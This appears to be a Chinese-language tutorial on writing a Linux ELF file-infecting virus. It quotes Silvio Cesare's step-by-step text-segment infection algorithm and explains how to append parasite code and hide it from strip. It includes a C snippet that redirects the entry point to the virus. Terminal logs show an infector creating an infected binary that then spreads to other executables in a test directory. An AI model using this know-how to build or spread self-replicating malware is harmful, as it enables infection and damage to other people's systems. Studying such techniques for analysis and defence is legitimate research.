为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考:
The final algorithm is using this information is. * Increase p_shoff by PAGE_SIZE in the ELF header * Patch the insertion code (parasite) to jump to the entry point (original) * Locate the text segment program header * Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz) * Increase p_filesz by account for the new code (parasite) * Increase p_memsz to account for the new code (parasite) * For each phdr who's segment is after the insertion (text segment) * increase p_offset by PAGE_SIZE * For the last shdr in the text segment * increase sh_len by the parasite length * For each shdr who's section resides after the insertion * Increase sh_offset by PAGE_SIZE * Physically insert the new code (parasite) and pad to PAGE_SIZE, into the file - text segment p_offset + p_filesz (original)
* 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见ELF文档中的描述: p_align As ``Program Loading'' later in this part describes, loadable process segments must have congruent values for p_vaddr and p_offset, modulo the page size.
* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向: /* Modify the entry point of the ELF */ org_entry = ehdr->e_entry; ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
建立一个测试目录,测试一下 grip2@linux:~/tmp/virus> mkdir test grip2@linux:~/tmp/virus> cp gei foo test grip2@linux:~/tmp/virus> cd test grip2@linux:~/tmp/virus/test> ls gei foo grip2@linux:~/tmp/virus/test> cp foo h
运行带毒程序 grip2@linux:~/tmp/virus/test>. /h . .. gei foo h .backup.h real elf point grip2@linux:~/tmp/virus/test> ll total 52 -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
测试上面带毒程序运行后,是否感染了其他ELF程序 grip2@linux:~/tmp/virus/test>. /foo . .. gei Better luck next file foo h Better luck next file .backup.h Better luck next file real elf point
grip2@linux:~/tmp/virus/test>. /foo . .. gei Better luck next file foo h Better luck next file .backup.h Better luck next file hh real elf point grip2@linux:~/tmp/virus/test>